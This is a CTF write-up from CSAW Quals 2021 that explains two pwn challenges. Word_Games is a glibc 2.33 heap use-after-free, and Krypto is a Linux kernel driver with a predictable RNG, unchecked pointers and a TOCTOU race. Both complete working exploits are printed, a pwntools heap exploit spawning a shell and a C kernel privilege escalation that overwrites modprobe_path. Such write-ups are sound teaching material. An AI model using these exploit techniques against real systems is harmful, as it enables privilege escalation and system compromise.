CSAW Qualifications 2021 - Word Games and Krypto

  • Author: FizzBuzz101
  • Date:

CSAW Quals 2021 Word_Games and Krypto Writeups

This year, the Crusaders of Rust achieved the third overall spot in CSAW Quals and qualified for the finals once again. PPP and Sigpwny took 1st and 2nd respectively. I had fun with the pwn challenges working with ryaagard and Day, so I thought I should make some very brief writeups for my two favorite ones.

Word_Games

Finally, a heap note! I really don’t understand all the heap note hate these days. I would much rather take a heap note over some toxic/quirky ROP or goofy format string challenge. Anyways, we were given glibc 2.33 (which I don’t believe had huge changes from 2.32). I ended up using an Arch Docker to debug this binary due to linker issues; in the end, I wasn’t able to use the given libc no matter what (it was asking me for ld_android.so?), but with Arch’s environment, it was close enough to remote and some bruteforcing would fix the issue with a leak’s offset.

The binary itself has two doubly linked lists. The first one is a word doubly linked list, with a next, prev, and data pointer. The second one was a “fun” word doubly linked list, and it gets pointed to by a favorite word struct, which holds a pointer to the aforementioned list and a pointer to the program’s favorite word.

Creating a new chunk allocates a chunk size for data based on a provided unsigned int, and then a new node in the word list gets allocated, linked in the end, and stores the your data pointer. The program checks if this is a fun word to add to the fun words list, where it stores a pointer to a strdup version of your data. To be a fun word, you must have the string fun, and the favorite word struct must have a non null pointer to a doubly linked list. Then, if the input has the longest string length, it gets strdup’d and the resulting pointer is stored in the favorite word struct with the old one being freed.

Deletion just clears the word doubly linked list. The show option only shows the favorite word. One thing to note is that if more than 3 fun words have been created, the fun list gets cleared as well as the favorite word, with it’s pointer to the fun list being nulled (thereby blocking future things going into the fun list). However, this logic is also where the main bug lies since the program first frees the structure before freeing the favorite word pointer, which conveniently lies in the second qword. The pointer to the favorite word structure also isn’t nulled, so you can keep showing data given a valid pointer in the second qword.

Before libc 2.34, the second qword of a freed chunk going into tcache always holds a pointer to the tcache_perthread_struct, which holds tcache counts and pointers. This means that if you manage to perform heap feng shui to fill the 0x290 tcache, and have the current favorite word be in a 0x290 chunk, you can cause the glibc allocator to free the tcache_perthread_struct into the unsorted bin. This bug is very powerful. You can get a libc leak from the unsorted bin pointers, and also allocate chunks over the tcache_perthread_struct allowing you to control future tcache allocations.

Once you achieve this primitive however, you do need to make an allocation to fix the tcache_perthread_struct, which had the earlier tcache chunk counts (including the sizes used for the node allocations) messed up by the libc pointers. Afterwards, you can get further allocations overlapping it by requesting sizes that have not gone into the tcache or fastbin, and overwrite counts as well as pointers so you can achieve arbitrary allocations. Of course, since this is post glibc 2.32, all allocations are checked for 16 byte alignment, so do keep that in mind. With an arbitrary allocation, I just targeted the classic __free_hook (which, along with the other hooks, also fell victim to the 2.34 update) to achieve a shell after triggering a delete with the string /bin/sh in some word chunk. Here is my exploit:

 1from pwn import *
 2
 3elf = ELF('./word_games')
 4libc = ELF('./libc-2.33.so')
 5
 6OFFSET = 0x1c0a60
 7p = remote('pwn.chal.csaw.io', 5001)
 8
 9def wait():
10	p.recvrepeat(0.3)
11
12def create(size, data):
13	wait()
14	p.sendline('1')
15	wait()
16	p.sendline(str(size))
17	wait()
18	p.sendline(data)
19
20def delete():
21	wait()
22	p.sendline('2')
23
24def show():
25	wait()
26	p.sendline('3')
27
28create(0x280, 'A' * 0x278)
29create(0x280, 'A' * 0x278)
30create(0x280, 'A' * 0x278)
31
32create(0x280, 'A' * 0x275 + 'fun')
33create(0x280, 'A' * 0x278 + 'fun')
34delete()
35create(0x20, '/bin/sh\x00')
36create(8, 'lolfun')
37create(8, 'lolfun')
38show()
39p.recvuntil('My favorite word so far is: ')
40libc.address = u64(p.recv(6).ljust(8, '\x00'))- OFFSET
41log.info('libc leak: 0x%x' % libc.address) 
42
43
44create(0x90, '\x00' * (0x20) + p16(1) * 4 + '\x00' * 0x60)
45create(0x100, '\x00' * 0x40 + p64(libc.symbols['__free_hook'] - 0x10) * 4)
46log.info('about to pop shell')
47create(0x120, '\x00'*8 + '/bin/sh\x00' + p64(libc.symbols['system']))
48log.info('shelling')
49delete()
50p.interactive()

Krypto

Finally, a kernel challenge! I have to admit that I put this off for a while because the distribution of a 1.9 gb full on Ubuntu install that required kvm to boot at bearable speeds made it seem like a pain. In the end, I just repackaged it into a standard initramfs + busybox image with required kernel modules and booted with the provided Ubuntu’s kernel, just like in normal kernel challenges. One thing to note is that this challenge did not have SMEP, SMAP, and KPTI, which should drastically simplify exploitation.

Looking at the source:

  1#include <linux/init.h>
  2#include <linux/module.h>
  3#include <linux/miscdevice.h>
  4#include <linux/fs.h>
  5#include <crypto/rng.h>
  6
  7MODULE_LICENSE("GPL");
  8MODULE_AUTHOR("Nick Gregory");
  9MODULE_DESCRIPTION("/dev/krypto");
 10MODULE_VERSION("0.1");
 11
 12#define KRYPTO_RNG_CMD 0x1337
 13
 14struct rng_params {
 15    char *buf;
 16    size_t buf_len;
 17};
 18
 19static int krypto_open(struct inode *inode, struct file *file)
 20{
 21    struct crypto_rng *rng = NULL;
 22
 23    rng = crypto_alloc_rng("ansi_cprng", 0, 0);
 24    if (IS_ERR(rng)) {
 25        return -ENOMEM;
 26    }
 27
 28    // fun fact! the kernel docs don't include this so the example doesn't actually work!
 29    char seed[32] = {0};
 30    crypto_rng_reset(rng, seed, sizeof(seed));
 31
 32    file->private_data = rng;
 33
 34    return 0;
 35}
 36
 37static int krypto_rng(struct file *file, struct rng_params *params)
 38{
 39    char *kbuf = NULL;
 40    int ret = 0;
 41    size_t len = params->buf_len;
 42
 43    if (len == 0 || len > 0x1000) {
 44        return -EINVAL;
 45    }
 46
 47    kbuf = kzalloc(len, GFP_KERNEL);
 48    if (!kbuf) {
 49        return -ENOMEM;
 50    }
 51
 52    ret = crypto_rng_get_bytes(file->private_data, kbuf, len);
 53
 54    if (ret < 0) {
 55        goto out_free;
 56    }
 57
 58    memcpy(params->buf, kbuf, params->buf_len);
 59
 60out_free:
 61    kfree(kbuf);
 62    return ret;
 63}
 64
 65static long krypto_ioctl(struct file *file, unsigned cmd, unsigned long arg)
 66{
 67    switch (cmd) {
 68    case KRYPTO_RNG_CMD:
 69        return krypto_rng(file, (struct rng_params *)arg);
 70    default:
 71        return -EINVAL;
 72    }
 73}
 74
 75static int krypto_release(struct inode *inode, struct file *file)
 76{
 77    crypto_free_rng(file->private_data);
 78    return 0;
 79}
 80
 81static struct file_operations krypto_fops = {
 82    .owner          = THIS_MODULE,
 83    .open           = krypto_open,
 84    .release	    = krypto_release,
 85    .unlocked_ioctl = krypto_ioctl,
 86};
 87
 88static struct miscdevice krypto_device = {
 89    .minor = MISC_DYNAMIC_MINOR,
 90    .name = "krypto",
 91    .fops = &krypto_fops,
 92    .mode = S_IRUGO,
 93};
 94
 95static int __init mod_init(void)
 96{
 97    return misc_register(&krypto_device);
 98}
 99
100static void __exit mod_exit(void)
101{
102    misc_deregister(&krypto_device);
103}
104
105module_init(mod_init);
106module_exit(mod_exit);

There are three main bugs here. First and foremost is the predictability of the prng, which begins with the same seed. Second, the pointers passed in the ioctl aren’t verified for validity. Someone can pass in valid kernel land pointers and just start copying prng generated data into other parts of kernelland. Lastly, in the ioctl, there is also a TOCTOU on the size parameter. You can achieve an OOB memcpy by abusing a race condition to change the size in your request struct after it checks the size and generates the data, but before it performs the final memcpy (as it dereferencs userland addresses more than once).

What’s the exploit strategy then? Well, first, one would need to race the ioctl to achieve an OOB memcpy. I chose to request allocations in the kmalloc-1024 slab, so I can spray tty_struct by opening /dev/ptmx. As I discussed in my Rope2 writeup, this provides us with a kernel base leak via ptm_unix98_ops pointer.

Now, what can we do with a leak from the OOB memcpy? Technically you can try to overwrite function pointers to go back to userspace and etc., but that would require more leaks (probably heap leaks) and some spraying luck as Ubuntu kernels are compiled with slab randomization. A much easier target to go for is modprobe_path, which the kernel uses to call a userland binary upon encountering a binary with an unknown header. Since this prng with a known seed is 100% deterministic, we can just have it generate byte sized random values, and pre-determine which ones we want, which we will then write to modprobe_path.

Here is the final exploit:

  1#define _GNU_SOURCE
  2#include <stdio.h>
  3#include <string.h>
  4#include <unistd.h>
  5#include <stdlib.h>
  6#include <fcntl.h>
  7#include <sched.h>
  8#include <pthread.h>
  9#include <stdint.h>
 10#include <sys/syscall.h>
 11#include <sys/mman.h>
 12
 13#define KRYPTO_RNG_CMD 0x1337
 14
 15typedef struct {
 16    char *buf;
 17    size_t buf_len;
 18}req_t;
 19
 20void hexprint(char *buffer, unsigned int bytes)
 21{
 22    int dqwords = ((bytes + 0x10 - 1)&0xfffffff0) / 0x10;
 23    int qwords = dqwords * 2;
 24    for (int i = 0; i < qwords; i+=2)
 25    {
 26        printf("0x%04llx: 0x%016llx 0x%016llx\n", (i * 0x8), ((unsigned long long*)buffer)[i], ((unsigned long long*)buffer)[i+1]);
 27    }
 28    puts("-----------------------------------------------");
 29    return;
 30}
 31
 32int ioctl(int fd, unsigned long request, unsigned long param)
 33{
 34    return syscall(16, fd, request, param);
 35}
 36
 37int krypto_rng(int fd, req_t *param)
 38{
 39    return ioctl(fd, KRYPTO_RNG_CMD, (unsigned long)param);
 40}
 41
 42void debug()
 43{
 44    puts("pause");
 45    getchar();
 46    return;
 47}
 48
 49void modprobe_hax()
 50{
 51    char filename[65];
 52    memset(filename, 0, sizeof(filename));
 53    int fd = open("/tmp/root", O_RDWR | O_CREAT);
 54    char root[] = "\xff\xff\xff\xff";
 55    write(fd, root, sizeof(root));
 56    close(fd);
 57    char w[] = "#!/bin/sh\nchmod -R 777 /home/vagrant\n";
 58    system("chmod 777 /tmp/root");
 59    fd = open("/tmp/w", O_RDWR | O_CREAT);
 60    write(fd, w, sizeof(w));
 61    close(fd);
 62    system("chmod 777 /tmp/w");
 63    system("/tmp/root");
 64    return;
 65}
 66
 67int stop = 0;
 68
 69void *race(void *arg)
 70{
 71    asm volatile("mov rax, 0x2000;"
 72                 "mov rbx, %0;"
 73                 "racing:"
 74                 "xchg qword ptr [rbx], rax;"
 75                 "jmp racing;"
 76                 :
 77                 : "r" (arg)
 78                 : "rax", "rbx"
 79                 );
 80    return 0;
 81}
 82
 83void test_rng()
 84{
 85    int fd = open("/dev/krypto", O_RDONLY);
 86    puts("attempting to create /tmp/w");
 87    char target[7] = "/tmp/w\x00";
 88    char character;
 89    req_t temp = {.buf = (char *)&character, .buf_len = 1};
 90    int counter = 0;
 91    uint32_t rounds = 0;
 92    while (counter < sizeof(target))
 93    {
 94        int result = krypto_rng(fd, (req_t *)&temp);
 95        if (result < 0)
 96        {
 97            perror("rng error");
 98            exit(-1);
 99        }
100        if (character == target[counter])
101        {
102            if (character != '\x00')
103            {
104                printf("%c generated after round %u\n", character, rounds);
105            }
106            else
107            {
108                printf("0x00 generated after round %u\n", rounds);
109            }
110            counter++;
111        }
112        rounds++;
113    }
114    return;
115}
116
117int main(int argc, char **argv, char **envp)
118{
119    if (argc > 1)
120    {
121        puts("testing rng series");
122        test_rng();
123        return 0;
124    }
125    int fd = open("/dev/krypto", O_RDONLY);
126    if (fd < 0)
127    {
128        perror("opening device driver failed");
129        exit(-1);
130    }
131    #define TARGET_SIZE 0x400
132    char buffer[0x2000];
133    char clean[0x2000 - TARGET_SIZE];
134    pthread_t thread;
135    uint64_t ptm_unix_98_ops, kbase, modprobe_path;
136    ptm_unix_98_ops = 0;
137
138    memset(buffer, 0, sizeof(buffer));
139    memset(clean, 0, sizeof(clean));
140
141    req_t evil = {.buf=buffer, .buf_len = TARGET_SIZE};
142
143
144    for (int i = 0; i < 0x50; i++)
145    {
146        open("/dev/ptmx", O_RDONLY);
147    }
148
149    pthread_create(&thread, 0, race, (void *)&(evil.buf_len));
150
151
152    while(!stop)
153    {
154        int result = krypto_rng(fd, (req_t *)&evil);
155        if (result < 0)
156        {
157            puts("fail");
158        }
159        else
160        {
161            puts("good");
162        }
163        if (memcmp((void *)buffer + TARGET_SIZE, clean, sizeof(clean)))
164        {
165            puts("successful race");
166            hexprint(buffer, 0x2000);
167            for (int i = 0; i < 0x2000 / 8; i++)
168            {
169                if ((*(uint64_t *)(buffer + TARGET_SIZE + i * 8) & 0xfff) == 0x900)
170                {
171                    ptm_unix_98_ops = *(uint64_t *)(buffer + TARGET_SIZE + i * 8);               
172                }
173            }
174            stop = 1;
175        }
176    }
177    pthread_cancel(thread);
178    if (!ptm_unix_98_ops)
179    {
180        puts("bad leaks");
181        exit(-1);
182    }
183    kbase = ptm_unix_98_ops - 0x10e6900ull;
184    modprobe_path = kbase + 0x165f860ull;
185    printf("[+] ptm_unix_98_ops: 0x%llx\n", ptm_unix_98_ops);
186    printf("[+] kbase: 0x%llx\n", kbase);
187    printf("[+] modprobe_path: 0x%llx\n", modprobe_path);
188    close(fd);
189    puts("resetting rng context");
190    close(fd);
191    fd = open("/dev/krypto", O_RDONLY);
192    /**
193    / generated after round 343
194    t generated after round 389
195    m generated after round 1014
196    p generated after round 1023
197    / generated after round 1079
198    w generated after round 1121
199    0x00 generated after round 1380
200    */
201    int rounds[] = {343, 389, 1014, 1023, 1079, 1121, 1380};
202    int ctr = 0;
203    int temp_char;
204    req_t temp = {.buf = (char *)&temp_char, .buf_len = 1};
205    req_t pwn = {.buf = (char *)modprobe_path, .buf_len = 1};
206    puts("overwriting modprobe_path");
207    for (int i = 0; i < sizeof(rounds) / sizeof(int); i++)
208    {
209        while (ctr < rounds[i])
210        {
211            int result = krypto_rng(fd, (req_t *)&temp);
212            if (result < 0)
213            {
214                perror("rng error");
215                exit(-1);
216            }
217            ctr++;
218        }
219        int result = krypto_rng(fd, (req_t *)&pwn);
220        if (result < 0)
221        {
222            perror("rng error");
223            exit(-1);
224        }
225        pwn.buf++;
226        ctr++;
227    }
228    modprobe_hax();
229}

In conclusion, I had quite a lot of fun working on these two pwn challenges. The other somewhat noteworthy challenge (which Day did the majority of the work for) was the C++ decompression pwn challenge where you had to abuse the shortbuf optimization of the basic_string to achieve a stack overflow. Feel free to let me know if you have any questions or comments that you would like to point out!